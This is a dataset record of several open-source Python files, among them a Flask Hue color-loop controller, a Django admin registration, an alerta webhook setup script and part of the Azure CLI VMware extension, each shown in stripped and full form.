ytzi/the-stack-dedup-python-filtered-docstrings

80bde51cbf5dacd747cbe696168d2b9360cef562

1,337

py

Python

Build Docker/code/main.py

AlexTheGeek/color-loop-hue

67266628c72cb48e6397596e1f98b46d8674f669

[ "MIT" ]

2

2021-01-01T10:40:26.000Z

2021-02-20T09:39:22.000Z

Build Docker/code/main.py

AlexTheGeek/color-loop-hue

67266628c72cb48e6397596e1f98b46d8674f669

[ "MIT" ]

null

Build Docker/code/main.py

AlexTheGeek/color-loop-hue

67266628c72cb48e6397596e1f98b46d8674f669

[ "MIT" ]

null

#!/bin/python3 #Alexis Brunet alias AlexTheGeek #################### ## HUE COLOR LOOP ## #################### import time import os import requests from os.path import join, dirname from dotenv import load_dotenv from flask import Flask, render_template, request app = Flask(__name__) STARTING = '{"on":true,"bri":254,"xy":[0.3523,0.144],"effect":"colorloop"}' ENDING = '{"effect": "none"}' OFF = '{"on":false}' env_path = join(dirname(__file__), 'env') load_dotenv(env_path) ip = os.getenv('IP') api = os.getenv('API') group = os.getenv('GROUP') @app.route("/<deviceName>/") if __name__ == "__main__": app.run(host='0.0.0.0', port=8080)

27.854167

87

0.598355

#!/bin/python3 #Alexis Brunet alias AlexTheGeek #################### ## HUE COLOR LOOP ## #################### import time import os import requests from os.path import join, dirname from dotenv import load_dotenv from flask import Flask, render_template, request app = Flask(__name__) STARTING = '{"on":true,"bri":254,"xy":[0.3523,0.144],"effect":"colorloop"}' ENDING = '{"effect": "none"}' OFF = '{"on":false}' env_path = join(dirname(__file__), 'env') load_dotenv(env_path) ip = os.getenv('IP') api = os.getenv('API') group = os.getenv('GROUP') def appel(data, grp): headers = {'Content-Type': 'application/json', } response = requests.put( 'http://'+ip+'/api/'+api+'/groups/'+grp+'/action/', headers=headers, data=data) @app.route("/<deviceName>/") def action(deviceName): if deviceName != 'monstermash': if deviceName == 'start': appel(STARTING, group) return '<h1>Color Loop START</h1>', {'Content-Type': 'text/html'} if deviceName == 'stop': appel(ENDING, group) return '<h1>Color Loop STOP</h1>', {'Content-Type': 'text/html'} if deviceName == 'off': appel(OFF, group) return '<h1>Color Loop TURN OFF</h1>', {'Content-Type': 'text/html'} if __name__ == "__main__": app.run(host='0.0.0.0', port=8080)

641

0

45

4e6123c1786b27aaf1d63c5382e320ef1dfeaffe

381

py

Python

django_extauth/admin.py

aiakos/aiakos

a591e7ef13ab9e8e14b4d3569d43fce694c4150a

[ "BSD-2-Clause", "MIT" ]

4

2017-04-28T19:09:17.000Z

2018-07-03T04:43:54.000Z

django_extauth/admin.py

aiakos/aiakos

a591e7ef13ab9e8e14b4d3569d43fce694c4150a

[ "BSD-2-Clause", "MIT" ]

2

2020-06-05T17:46:47.000Z

2021-06-10T17:22:58.000Z

django_extauth/admin.py

aiakos/aiakos

a591e7ef13ab9e8e14b4d3569d43fce694c4150a

[ "BSD-2-Clause", "MIT" ]

2

2017-08-14T07:15:14.000Z

2019-03-04T14:02:05.000Z

from django.contrib import admin from .models import * admin.site.register(IdentityProvider, IdentityProviderAdmin) admin.site.register(ExternalIdentity, ExternalIdentityAdmin)

25.4

60

0.787402

from django.contrib import admin from .models import * class IdentityProviderAdmin(admin.ModelAdmin): list_display = ('domain', 'name', 'client_id', 'protocol') admin.site.register(IdentityProvider, IdentityProviderAdmin) class ExternalIdentityAdmin(admin.ModelAdmin): list_display = ('user', 'provider', 'sub') admin.site.register(ExternalIdentity, ExternalIdentityAdmin)

0

154

46

cc3464107c1563f46ae7232b9d85ad3af834a0f0

625

py

Python

webhooks/observium/setup.py

x3me/alerta-contrib

215bf1cffa6362a90edb6350a6dea37db6b18ab8

[ "MIT" ]

null

webhooks/observium/setup.py

x3me/alerta-contrib

215bf1cffa6362a90edb6350a6dea37db6b18ab8

[ "MIT" ]

null

webhooks/observium/setup.py

x3me/alerta-contrib

215bf1cffa6362a90edb6350a6dea37db6b18ab8

[ "MIT" ]

null

from setuptools import setup, find_packages version = '0.0.5' setup( name="alerta-observium", version=version, description='Alerta webhook for Obseervium NMS', url='https://github.com/alerta/alerta-contrib', license='MIT', author='Iskren Hadzhinedev', author_email='iskren.hadzhinedev@x3me.net', packages=find_packages(), py_modules=['alerta_observium'], install_requires=[ 'python-dateutil' ], include_package_data=True, zip_safe=True, entry_points={ 'alerta.webhooks': [ 'observium = alerta_observium:ObserviumWebhook' ] } )

24.038462

59

0.6576

from setuptools import setup, find_packages version = '0.0.5' setup( name="alerta-observium", version=version, description='Alerta webhook for Obseervium NMS', url='https://github.com/alerta/alerta-contrib', license='MIT', author='Iskren Hadzhinedev', author_email='iskren.hadzhinedev@x3me.net', packages=find_packages(), py_modules=['alerta_observium'], install_requires=[ 'python-dateutil' ], include_package_data=True, zip_safe=True, entry_points={ 'alerta.webhooks': [ 'observium = alerta_observium:ObserviumWebhook' ] } )

0

db99afef5980354d5007694954a2c0c2e199a476

45,026

py

Python

src/vmware/azext_vmware/custom.py

Mossaka/azure-cli-extensions

f75f5d39d3b621fcbcdd50eddf378f3a49535ab0

[ "MIT" ]

null

src/vmware/azext_vmware/custom.py

Mossaka/azure-cli-extensions

f75f5d39d3b621fcbcdd50eddf378f3a49535ab0

[ "MIT" ]

null

src/vmware/azext_vmware/custom.py

Mossaka/azure-cli-extensions

f75f5d39d3b621fcbcdd50eddf378f3a49535ab0

[ "MIT" ]

null

# -------------------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # -------------------------------------------------------------------------------------------- # pylint: disable=line-too-long from typing import List, Tuple from azext_vmware.vendored_sdks.avs_client import AVSClient LEGAL_TERMS = ''' LEGAL TERMS Azure VMware Solution ("AVS") is an Azure Service licensed to you as part of your Azure subscription and subject to the terms and conditions of the agreement under which you obtained your Azure subscription (https://azure.microsoft.com/support/legal/). The following additional terms also apply to your use of AVS: DATA RETENTION. AVS does not currently support retention or extraction of data stored in AVS Clusters. Once an AVS Cluster is deleted, the data cannot be recovered as it terminates all running workloads, components, and destroys all Cluster data and configuration settings, including public IP addresses. PROFESSIONAL SERVICES DATA TRANSFER TO VMWARE. In the event that you contact Microsoft for technical support relating to Azure VMware Solution and Microsoft must engage VMware for assistance with the issue, Microsoft will transfer the Professional Services Data and the Personal Data contained in the support case to VMware. The transfer is made subject to the terms of the Support Transfer Agreement between VMware and Microsoft, which establishes Microsoft and VMware as independent processors of the Professional Services Data. Before any transfer of Professional Services Data to VMware will occur, Microsoft will obtain and record consent from you for the transfer. VMWARE DATA PROCESSING AGREEMENT. Once Professional Services Data is transferred to VMware (pursuant to the above section), the processing of Professional Services Data, including the Personal Data contained the support case, by VMware as an independent processor will be governed by the VMware Data Processing Agreement for Microsoft AVS Customers Transferred for L3 Support (the "VMware Data Processing Agreement") between you and VMware (located at https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/privacy/vmware-data-processing-agreement.pdf). You also give authorization to allow your representative(s) who request technical support for Azure VMware Solution to provide consent on your behalf to Microsoft for the transfer of the Professional Services Data to VMware. ACCEPTANCE OF LEGAL TERMS. By continuing, you agree to the above additional Legal Terms for AVS. If you are an individual accepting these terms on behalf of an entity, you also represent that you have the legal authority to enter into these additional terms on that entity's behalf. '''

71.469841

789

0.848043

# -------------------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # -------------------------------------------------------------------------------------------- # pylint: disable=line-too-long from typing import List, Tuple from azext_vmware.vendored_sdks.avs_client import AVSClient LEGAL_TERMS = ''' LEGAL TERMS Azure VMware Solution ("AVS") is an Azure Service licensed to you as part of your Azure subscription and subject to the terms and conditions of the agreement under which you obtained your Azure subscription (https://azure.microsoft.com/support/legal/). The following additional terms also apply to your use of AVS: DATA RETENTION. AVS does not currently support retention or extraction of data stored in AVS Clusters. Once an AVS Cluster is deleted, the data cannot be recovered as it terminates all running workloads, components, and destroys all Cluster data and configuration settings, including public IP addresses. PROFESSIONAL SERVICES DATA TRANSFER TO VMWARE. In the event that you contact Microsoft for technical support relating to Azure VMware Solution and Microsoft must engage VMware for assistance with the issue, Microsoft will transfer the Professional Services Data and the Personal Data contained in the support case to VMware. The transfer is made subject to the terms of the Support Transfer Agreement between VMware and Microsoft, which establishes Microsoft and VMware as independent processors of the Professional Services Data. Before any transfer of Professional Services Data to VMware will occur, Microsoft will obtain and record consent from you for the transfer. VMWARE DATA PROCESSING AGREEMENT. Once Professional Services Data is transferred to VMware (pursuant to the above section), the processing of Professional Services Data, including the Personal Data contained the support case, by VMware as an independent processor will be governed by the VMware Data Processing Agreement for Microsoft AVS Customers Transferred for L3 Support (the "VMware Data Processing Agreement") between you and VMware (located at https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/privacy/vmware-data-processing-agreement.pdf). You also give authorization to allow your representative(s) who request technical support for Azure VMware Solution to provide consent on your behalf to Microsoft for the transfer of the Professional Services Data to VMware. ACCEPTANCE OF LEGAL TERMS. By continuing, you agree to the above additional Legal Terms for AVS. If you are an individual accepting these terms on behalf of an entity, you also represent that you have the legal authority to enter into these additional terms on that entity's behalf. ''' def privatecloud_list(client: AVSClient, resource_group_name=None): if resource_group_name is None: return client.private_clouds.list_in_subscription() return client.private_clouds.list(resource_group_name) def privatecloud_show(client: AVSClient, resource_group_name, name): return client.private_clouds.get(resource_group_name, name) def privatecloud_create(client: AVSClient, resource_group_name, name, sku, cluster_size, network_block, location=None, internet=None, vcenter_password=None, nsxt_password=None, tags=None, accept_eula=False, mi_system_assigned=False): from knack.prompting import prompt_y_n if not accept_eula: print(LEGAL_TERMS) msg = 'Do you agree to the above additional terms for AVS?' if not prompt_y_n(msg, default="n"): return None from azext_vmware.vendored_sdks.avs_client.models import PrivateCloud, Circuit, ManagementCluster, Sku, PrivateCloudIdentity cloud = PrivateCloud(sku=Sku(name=sku), ciruit=Circuit(), management_cluster=ManagementCluster(cluster_size=cluster_size), network_block=network_block) if location is not None: cloud.location = location if tags is not None: cloud.tags = tags if mi_system_assigned: cloud.identity = PrivateCloudIdentity(type='SystemAssigned') if internet is not None: cloud.internet = internet if vcenter_password is not None: cloud.vcenter_password = vcenter_password if nsxt_password is not None: cloud.nsxt_password = nsxt_password return client.private_clouds.begin_create_or_update(resource_group_name, name, cloud) def privatecloud_update(client: AVSClient, resource_group_name, name, cluster_size=None, internet=None, tags=None): from azext_vmware.vendored_sdks.avs_client.models import PrivateCloudUpdate, ManagementCluster private_cloud_update = PrivateCloudUpdate() if tags is not None: private_cloud_update.tags = tags if cluster_size is not None: private_cloud_update.management_cluster = ManagementCluster(cluster_size=cluster_size) if internet is not None: private_cloud_update.internet = internet return client.private_clouds.begin_update(resource_group_name, name, private_cloud_update) def privatecloud_delete(client: AVSClient, resource_group_name, name, yes=False): from knack.prompting import prompt_y_n msg = 'This will delete the private cloud. Are you sure?' if not yes and not prompt_y_n(msg, default="n"): return None return client.private_clouds.begin_delete(resource_group_name, name) def privatecloud_listadmincredentials(client: AVSClient, resource_group_name, private_cloud): return client.private_clouds.list_admin_credentials(resource_group_name=resource_group_name, private_cloud_name=private_cloud) def privatecloud_addidentitysource(client: AVSClient, resource_group_name, name, private_cloud, alias, domain, base_user_dn, base_group_dn, primary_server, username, password, secondary_server=None, ssl="Disabled"): from azext_vmware.vendored_sdks.avs_client.models import IdentitySource pc = client.private_clouds.get(resource_group_name, private_cloud) identitysource = IdentitySource(name=name, alias=alias, domain=domain, base_user_dn=base_user_dn, base_group_dn=base_group_dn, primary_server=primary_server, ssl=ssl, username=username, password=password) if secondary_server is not None: identitysource.secondary_server = secondary_server pc.identity_sources.append(identitysource) return client.private_clouds.begin_create_or_update(resource_group_name=resource_group_name, private_cloud_name=private_cloud, private_cloud=pc) def privatecloud_deleteidentitysource(client: AVSClient, resource_group_name, name, private_cloud, alias, domain): pc = client.private_clouds.get(resource_group_name, private_cloud) found = next((ids for ids in pc.identity_sources if ids.name == name and ids.alias == alias and ids.domain == domain), None) if found: pc.identity_sources.remove(found) return client.private_clouds.begin_create_or_update(resource_group_name=resource_group_name, private_cloud_name=private_cloud, private_cloud=pc) return pc def privatecloud_addavailabilityzone(client: AVSClient, resource_group_name, private_cloud, strategy=None, zone=None, secondary_zone=None): from azext_vmware.vendored_sdks.avs_client.models import AvailabilityProperties, PrivateCloudUpdate pc = PrivateCloudUpdate() pc.availability = AvailabilityProperties(strategy=strategy, zone=zone, secondary_zone=secondary_zone) return client.private_clouds.begin_update(resource_group_name=resource_group_name, private_cloud_name=private_cloud, private_cloud_update=pc) def privatecloud_deleteavailabilityzone(client: AVSClient, resource_group_name, private_cloud): from azext_vmware.vendored_sdks.avs_client.models import PrivateCloudUpdate pc = PrivateCloudUpdate() pc.availability = None return client.private_clouds.begin_update(resource_group_name=resource_group_name, private_cloud_name=private_cloud, private_cloud_update=pc) def privatecloud_addcmkencryption(client: AVSClient, resource_group_name, private_cloud, enc_status=None, enc_kv_key_name=None, enc_kv_key_version=None, enc_kv_url=None): from azext_vmware.vendored_sdks.avs_client.models import Encryption, EncryptionKeyVaultProperties, PrivateCloudUpdate pc = PrivateCloudUpdate() pc.encryption = Encryption(status=enc_status, key_vault_properties=EncryptionKeyVaultProperties(key_name=enc_kv_key_name, key_version=enc_kv_key_version, key_vault_url=enc_kv_url)) return client.private_clouds.begin_update(resource_group_name=resource_group_name, private_cloud_name=private_cloud, private_cloud_update=pc) def privatecloud_deletecmkenryption(client: AVSClient, resource_group_name, private_cloud): from azext_vmware.vendored_sdks.avs_client.models import PrivateCloudUpdate pc = PrivateCloudUpdate() pc.encryption = None return client.private_clouds.begin_update(resource_group_name=resource_group_name, private_cloud_name=private_cloud, private_cloud_update=pc) def privatecloud_identity_assign(client: AVSClient, resource_group_name, private_cloud, system_assigned=False): from azext_vmware.vendored_sdks.avs_client.models import PrivateCloudIdentity, PrivateCloudUpdate pc = PrivateCloudUpdate() if system_assigned: pc.identity = PrivateCloudIdentity(type="SystemAssigned") return client.private_clouds.begin_update(resource_group_name=resource_group_name, private_cloud_name=private_cloud, private_cloud_update=pc) def privatecloud_identity_remove(client: AVSClient, resource_group_name, private_cloud): from azext_vmware.vendored_sdks.avs_client.models import PrivateCloudIdentity, PrivateCloudUpdate pc = PrivateCloudUpdate() pc.identity = PrivateCloudIdentity(type=None) return client.private_clouds.begin_update(resource_group_name=resource_group_name, private_cloud_name=private_cloud, private_cloud_update=pc) def privatecloud_identity_get(client: AVSClient, resource_group_name, private_cloud): return client.private_clouds.get(resource_group_name, private_cloud).identity def privatecloud_rotate_vcenter_password(client: AVSClient, resource_group_name, private_cloud): return client.private_clouds.begin_rotate_vcenter_password(resource_group_name=resource_group_name, private_cloud_name=private_cloud) def privatecloud_rotate_nsxt_password(client: AVSClient, resource_group_name, private_cloud): return client.private_clouds.begin_rotate_nsxt_password(resource_group_name=resource_group_name, private_cloud_name=private_cloud) def cluster_create(client: AVSClient, resource_group_name, name, sku, private_cloud, size, hosts): from azext_vmware.vendored_sdks.avs_client.models import Sku, Cluster return client.clusters.begin_create_or_update(resource_group_name=resource_group_name, private_cloud_name=private_cloud, cluster_name=name, cluster=Cluster(sku=Sku(name=sku), cluster_size=size, hosts=hosts)) def cluster_update(client: AVSClient, resource_group_name, name, private_cloud, size=None, hosts=None): return client.clusters.begin_update(resource_group_name=resource_group_name, private_cloud_name=private_cloud, cluster_name=name, cluster_size=size, hosts=hosts) def cluster_list(client: AVSClient, resource_group_name, private_cloud): return client.clusters.list(resource_group_name=resource_group_name, private_cloud_name=private_cloud) def cluster_show(client: AVSClient, resource_group_name, private_cloud, name): return client.clusters.get(resource_group_name=resource_group_name, private_cloud_name=private_cloud, cluster_name=name) def cluster_delete(client: AVSClient, resource_group_name, private_cloud, name): return client.clusters.begin_delete(resource_group_name=resource_group_name, private_cloud_name=private_cloud, cluster_name=name) def check_quota_availability(client: AVSClient, location): return client.locations.check_quota_availability(location) def check_trial_availability(client: AVSClient, location): return client.locations.check_trial_availability(location) def authorization_create(client: AVSClient, resource_group_name, private_cloud, name): return client.authorizations.begin_create_or_update(resource_group_name=resource_group_name, private_cloud_name=private_cloud, authorization_name=name) def authorization_list(client: AVSClient, resource_group_name, private_cloud): return client.authorizations.list(resource_group_name=resource_group_name, private_cloud_name=private_cloud) def authorization_show(client: AVSClient, resource_group_name, private_cloud, name): return client.authorizations.get(resource_group_name=resource_group_name, private_cloud_name=private_cloud, authorization_name=name) def authorization_delete(client: AVSClient, resource_group_name, private_cloud, name): return client.authorizations.begin_delete(resource_group_name=resource_group_name, private_cloud_name=private_cloud, authorization_name=name) def hcxenterprisesite_create(client: AVSClient, resource_group_name, private_cloud, name): return client.hcx_enterprise_sites.create_or_update(resource_group_name=resource_group_name, private_cloud_name=private_cloud, hcx_enterprise_site_name=name) def hcxenterprisesite_list(client: AVSClient, resource_group_name, private_cloud): return client.hcx_enterprise_sites.list(resource_group_name=resource_group_name, private_cloud_name=private_cloud) def hcxenterprisesite_show(client: AVSClient, resource_group_name, private_cloud, name): return client.hcx_enterprise_sites.get(resource_group_name=resource_group_name, private_cloud_name=private_cloud, hcx_enterprise_site_name=name) def hcxenterprisesite_delete(client: AVSClient, resource_group_name, private_cloud, name): return client.hcx_enterprise_sites.delete(resource_group_name=resource_group_name, private_cloud_name=private_cloud, hcx_enterprise_site_name=name) def datastore_create(): print('Please use "az vmware datastore netapp-volume create" or "az vmware datastore disk-pool-volume create" instead.') def datastore_netappvolume_create(client: AVSClient, resource_group_name, private_cloud, cluster, name, volume_id): from azext_vmware.vendored_sdks.avs_client.models import NetAppVolume net_app_volume = NetAppVolume(id=volume_id) return client.datastores.begin_create_or_update(resource_group_name=resource_group_name, private_cloud_name=private_cloud, cluster_name=cluster, datastore_name=name, net_app_volume=net_app_volume, disk_pool_volume=None) def datastore_diskpoolvolume_create(client: AVSClient, resource_group_name, private_cloud, cluster, name, target_id, lun_name, mount_option="MOUNT", path=None): from azext_vmware.vendored_sdks.avs_client.models import DiskPoolVolume disk_pool_volume = DiskPoolVolume(target_id=target_id, lun_name=lun_name, mount_option=mount_option, path=path) return client.datastores.begin_create_or_update(resource_group_name=resource_group_name, private_cloud_name=private_cloud, cluster_name=cluster, datastore_name=name, net_app_volume=None, disk_pool_volume=disk_pool_volume) def datastore_list(client: AVSClient, resource_group_name, private_cloud, cluster): return client.datastores.list(resource_group_name=resource_group_name, private_cloud_name=private_cloud, cluster_name=cluster) def datastore_show(client: AVSClient, resource_group_name, private_cloud, cluster, name): return client.datastores.get(resource_group_name=resource_group_name, private_cloud_name=private_cloud, cluster_name=cluster, datastore_name=name) def datastore_delete(client: AVSClient, resource_group_name, private_cloud, cluster, name): return client.datastores.begin_delete(resource_group_name=resource_group_name, private_cloud_name=private_cloud, cluster_name=cluster, datastore_name=name) def addon_list(client: AVSClient, resource_group_name, private_cloud): return client.addons.list(resource_group_name=resource_group_name, private_cloud_name=private_cloud) def addon_vr_create(client: AVSClient, resource_group_name, private_cloud, vrs_count: int): from azext_vmware.vendored_sdks.avs_client.models import AddonVrProperties properties = AddonVrProperties(vrs_count=vrs_count) return client.addons.begin_create_or_update(resource_group_name=resource_group_name, private_cloud_name=private_cloud, addon_name="vr", properties=properties) def addon_hcx_create(client: AVSClient, resource_group_name, private_cloud, offer: str): from azext_vmware.vendored_sdks.avs_client.models import AddonHcxProperties properties = AddonHcxProperties(offer=offer) return client.addons.begin_create_or_update(resource_group_name=resource_group_name, private_cloud_name=private_cloud, addon_name="hcx", properties=properties) def addon_srm_create(client: AVSClient, resource_group_name, private_cloud, license_key: str): from azext_vmware.vendored_sdks.avs_client.models import AddonSrmProperties properties = AddonSrmProperties(license_key=license_key) return client.addons.begin_create_or_update(resource_group_name=resource_group_name, private_cloud_name=private_cloud, addon_name="srm", properties=properties) def addon_vr_show(client: AVSClient, resource_group_name, private_cloud): return client.addons.get(resource_group_name=resource_group_name, private_cloud_name=private_cloud, addon_name="vr") def addon_hcx_show(client: AVSClient, resource_group_name, private_cloud): return client.addons.get(resource_group_name=resource_group_name, private_cloud_name=private_cloud, addon_name="hcx") def addon_srm_show(client: AVSClient, resource_group_name, private_cloud): return client.addons.get(resource_group_name=resource_group_name, private_cloud_name=private_cloud, addon_name="srm") def addon_vr_update(client: AVSClient, resource_group_name, private_cloud, vrs_count: int): from azext_vmware.vendored_sdks.avs_client.models import AddonVrProperties properties = AddonVrProperties(vrs_count=vrs_count) return client.addons.begin_create_or_update(resource_group_name=resource_group_name, private_cloud_name=private_cloud, addon_name="vr", properties=properties) def addon_hcx_update(client: AVSClient, resource_group_name, private_cloud, offer: str): from azext_vmware.vendored_sdks.avs_client.models import AddonHcxProperties properties = AddonHcxProperties(offer=offer) return client.addons.begin_create_or_update(resource_group_name=resource_group_name, private_cloud_name=private_cloud, addon_name="hcx", properties=properties) def addon_srm_update(client: AVSClient, resource_group_name, private_cloud, license_key: str): from azext_vmware.vendored_sdks.avs_client.models import AddonSrmProperties properties = AddonSrmProperties(license_key=license_key) return client.addons.begin_create_or_update(resource_group_name=resource_group_name, private_cloud_name=private_cloud, addon_name="srm", properties=properties) def addon_vr_delete(client: AVSClient, resource_group_name, private_cloud): return client.addons.begin_delete(resource_group_name=resource_group_name, private_cloud_name=private_cloud, addon_name="vr") def addon_hcx_delete(client: AVSClient, resource_group_name, private_cloud): return client.addons.begin_delete(resource_group_name=resource_group_name, private_cloud_name=private_cloud, addon_name="hcx") def addon_srm_delete(client: AVSClient, resource_group_name, private_cloud): return client.addons.begin_delete(resource_group_name=resource_group_name, private_cloud_name=private_cloud, addon_name="srm") def globalreachconnection_create(client: AVSClient, resource_group_name, private_cloud, name, authorization_key=None, peer_express_route_circuit=None, express_route_id=None): from azext_vmware.vendored_sdks.avs_client.models import GlobalReachConnection return client.global_reach_connections.begin_create_or_update(resource_group_name=resource_group_name, private_cloud_name=private_cloud, global_reach_connection_name=name, global_reach_connection=GlobalReachConnection(authorization_key=authorization_key, peer_express_route_circuit=peer_express_route_circuit, express_route_id=express_route_id)) def globalreachconnection_list(client: AVSClient, resource_group_name, private_cloud): return client.global_reach_connections.list(resource_group_name=resource_group_name, private_cloud_name=private_cloud) def globalreachconnection_show(client: AVSClient, resource_group_name, private_cloud, name): return client.global_reach_connections.get(resource_group_name=resource_group_name, private_cloud_name=private_cloud, global_reach_connection_name=name) def globalreachconnection_delete(client: AVSClient, resource_group_name, private_cloud, name): return client.global_reach_connections.begin_delete(resource_group_name=resource_group_name, private_cloud_name=private_cloud, global_reach_connection_name=name) def cloud_link_create(client: AVSClient, resource_group_name, name, private_cloud, linked_cloud): return client.cloud_links.begin_create_or_update(resource_group_name=resource_group_name, private_cloud_name=private_cloud, cloud_link_name=name, linked_cloud=linked_cloud) def cloud_link_list(client: AVSClient, resource_group_name, private_cloud): return client.cloud_links.list(resource_group_name=resource_group_name, private_cloud_name=private_cloud) def cloud_link_show(client: AVSClient, resource_group_name, private_cloud, name): return client.cloud_links.get(resource_group_name=resource_group_name, private_cloud_name=private_cloud, cloud_link_name=name) def cloud_link_delete(client: AVSClient, resource_group_name, private_cloud, name): return client.cloud_links.begin_delete(resource_group_name=resource_group_name, private_cloud_name=private_cloud, cloud_link_name=name) def script_cmdlet_list(client: AVSClient, resource_group_name, private_cloud, script_package): return client.script_cmdlets.list(resource_group_name=resource_group_name, private_cloud_name=private_cloud, script_package_name=script_package) def script_cmdlet_show(client: AVSClient, resource_group_name, private_cloud, script_package, name): return client.script_cmdlets.get(resource_group_name=resource_group_name, private_cloud_name=private_cloud, script_package_name=script_package, script_cmdlet_name=name) def script_package_list(client: AVSClient, resource_group_name, private_cloud): return client.script_packages.list(resource_group_name=resource_group_name, private_cloud_name=private_cloud) def script_package_show(client: AVSClient, resource_group_name, private_cloud, name): return client.script_packages.get(resource_group_name=resource_group_name, private_cloud_name=private_cloud, script_package_name=name) def script_execution_create(client: AVSClient, resource_group_name, private_cloud, name, timeout, script_cmdlet_id=None, parameters=None, hidden_parameters=None, failure_reason=None, retention=None, out=None, named_outputs: List[Tuple[str, str]] = None): from azext_vmware.vendored_sdks.avs_client.models import ScriptExecution if named_outputs is not None: named_outputs = dict(named_outputs) script_execution = ScriptExecution(timeout=timeout, script_cmdlet_id=script_cmdlet_id, parameters=parameters, hidden_parameters=hidden_parameters, failure_reason=failure_reason, retention=retention, output=out, named_outputs=named_outputs) return client.script_executions.begin_create_or_update(resource_group_name=resource_group_name, private_cloud_name=private_cloud, script_execution_name=name, script_execution=script_execution) def script_execution_list(client: AVSClient, resource_group_name, private_cloud): return client.script_executions.list(resource_group_name=resource_group_name, private_cloud_name=private_cloud) def script_execution_show(client: AVSClient, resource_group_name, private_cloud, name): return client.script_executions.get(resource_group_name=resource_group_name, private_cloud_name=private_cloud, script_execution_name=name) def script_execution_delete(client: AVSClient, resource_group_name, private_cloud, name): return client.script_executions.begin_delete(resource_group_name=resource_group_name, private_cloud_name=private_cloud, script_execution_name=name) def script_execution_logs(client: AVSClient, resource_group_name, private_cloud, name): return client.script_executions.get_execution_logs(resource_group_name=resource_group_name, private_cloud_name=private_cloud, script_execution_name=name) def workload_network_dhcp_server_create(client: AVSClient, resource_group_name, private_cloud, dhcp: str, display_name=None, revision=None, server_address=None, lease_time=None): from azext_vmware.vendored_sdks.avs_client.models import WorkloadNetworkDhcpServer properties = WorkloadNetworkDhcpServer(display_name=display_name, revision=revision, server_address=server_address, lease_time=lease_time) return client.workload_networks.begin_create_dhcp(resource_group_name=resource_group_name, private_cloud_name=private_cloud, dhcp_id=dhcp, properties=properties) def workload_network_dhcp_relay_create(client: AVSClient, resource_group_name, private_cloud, dhcp: str, display_name=None, revision=None, server_addresses=None): from azext_vmware.vendored_sdks.avs_client.models import WorkloadNetworkDhcpRelay properties = WorkloadNetworkDhcpRelay(display_name=display_name, revision=revision, server_addresses=server_addresses) return client.workload_networks.begin_create_dhcp(resource_group_name=resource_group_name, private_cloud_name=private_cloud, dhcp_id=dhcp, properties=properties) def workload_network_dhcp_server_update(client: AVSClient, resource_group_name, private_cloud, dhcp: str, display_name=None, revision=None, server_address=None, lease_time=None): from azext_vmware.vendored_sdks.avs_client.models import WorkloadNetworkDhcpServer properties = WorkloadNetworkDhcpServer(display_name=display_name, revision=revision, server_address=server_address, lease_time=lease_time) return client.workload_networks.begin_update_dhcp(resource_group_name=resource_group_name, private_cloud_name=private_cloud, dhcp_id=dhcp, properties=properties) def workload_network_dhcp_relay_update(client: AVSClient, resource_group_name, private_cloud, dhcp: str, display_name=None, revision=None, server_addresses=None): from azext_vmware.vendored_sdks.avs_client.models import WorkloadNetworkDhcpRelay properties = WorkloadNetworkDhcpRelay(display_name=display_name, revision=revision, server_addresses=server_addresses) return client.workload_networks.begin_update_dhcp(resource_group_name=resource_group_name, private_cloud_name=private_cloud, dhcp_id=dhcp, properties=properties) def workload_network_dhcp_delete(client: AVSClient, resource_group_name, private_cloud, dhcp: str): return client.workload_networks.begin_delete_dhcp(resource_group_name=resource_group_name, private_cloud_name=private_cloud, dhcp_id=dhcp) def workload_network_dhcp_list(client: AVSClient, resource_group_name, private_cloud): return client.workload_networks.list_dhcp(resource_group_name=resource_group_name, private_cloud_name=private_cloud) def workload_network_dhcp_show(client: AVSClient, resource_group_name, private_cloud, dhcp: str): return client.workload_networks.get_dhcp(resource_group_name=resource_group_name, private_cloud_name=private_cloud, dhcp_id=dhcp) def workload_network_dns_services_list(client: AVSClient, resource_group_name, private_cloud): return client.workload_networks.list_dns_services(resource_group_name=resource_group_name, private_cloud_name=private_cloud) def workload_network_dns_services_get(client: AVSClient, resource_group_name, private_cloud, dns_service): return client.workload_networks.get_dns_service(resource_group_name=resource_group_name, private_cloud_name=private_cloud, dns_service_id=dns_service) def workload_network_dns_services_create(client: AVSClient, resource_group_name, private_cloud, dns_service, display_name=None, dns_service_ip=None, default_dns_zone=None, fqdn_zones=None, log_level=None, revision=None): from azext_vmware.vendored_sdks.avs_client.models import WorkloadNetworkDnsService prop = WorkloadNetworkDnsService(display_name=display_name, dns_service_ip=dns_service_ip, default_dns_zone=default_dns_zone, log_level=log_level, revision=revision, fqdn_zones=fqdn_zones) return client.workload_networks.begin_create_dns_service(resource_group_name=resource_group_name, private_cloud_name=private_cloud, dns_service_id=dns_service, workload_network_dns_service=prop) def workload_network_dns_services_update(client: AVSClient, resource_group_name, private_cloud, dns_service, display_name=None, dns_service_ip=None, default_dns_zone=None, fqdn_zones=None, log_level=None, revision=None): from azext_vmware.vendored_sdks.avs_client.models import WorkloadNetworkDnsService prop = WorkloadNetworkDnsService(display_name=display_name, dns_service_ip=dns_service_ip, default_dns_zone=default_dns_zone, fqdn_zones=fqdn_zones, log_level=log_level, revision=revision) return client.workload_networks.begin_update_dns_service(resource_group_name=resource_group_name, private_cloud_name=private_cloud, dns_service_id=dns_service, workload_network_dns_service=prop) def workload_network_dns_services_delete(client: AVSClient, resource_group_name, private_cloud, dns_service): return client.workload_networks.begin_delete_dns_service(resource_group_name=resource_group_name, private_cloud_name=private_cloud, dns_service_id=dns_service) def workload_network_dns_zone_list(client: AVSClient, resource_group_name, private_cloud): return client.workload_networks.list_dns_zones(resource_group_name=resource_group_name, private_cloud_name=private_cloud) def workload_network_dns_zone_get(client: AVSClient, resource_group_name, private_cloud, dns_zone): return client.workload_networks.get_dns_zone(resource_group_name=resource_group_name, private_cloud_name=private_cloud, dns_zone_id=dns_zone) def workload_network_dns_zone_create(client: AVSClient, resource_group_name, private_cloud, dns_zone, display_name=None, domain=None, dns_server_ips=None, source_ip=None, dns_services=None, revision=None): from azext_vmware.vendored_sdks.avs_client.models import WorkloadNetworkDnsZone prop = WorkloadNetworkDnsZone(display_name=display_name, domain=domain, dns_server_ips=dns_server_ips, source_ip=source_ip, 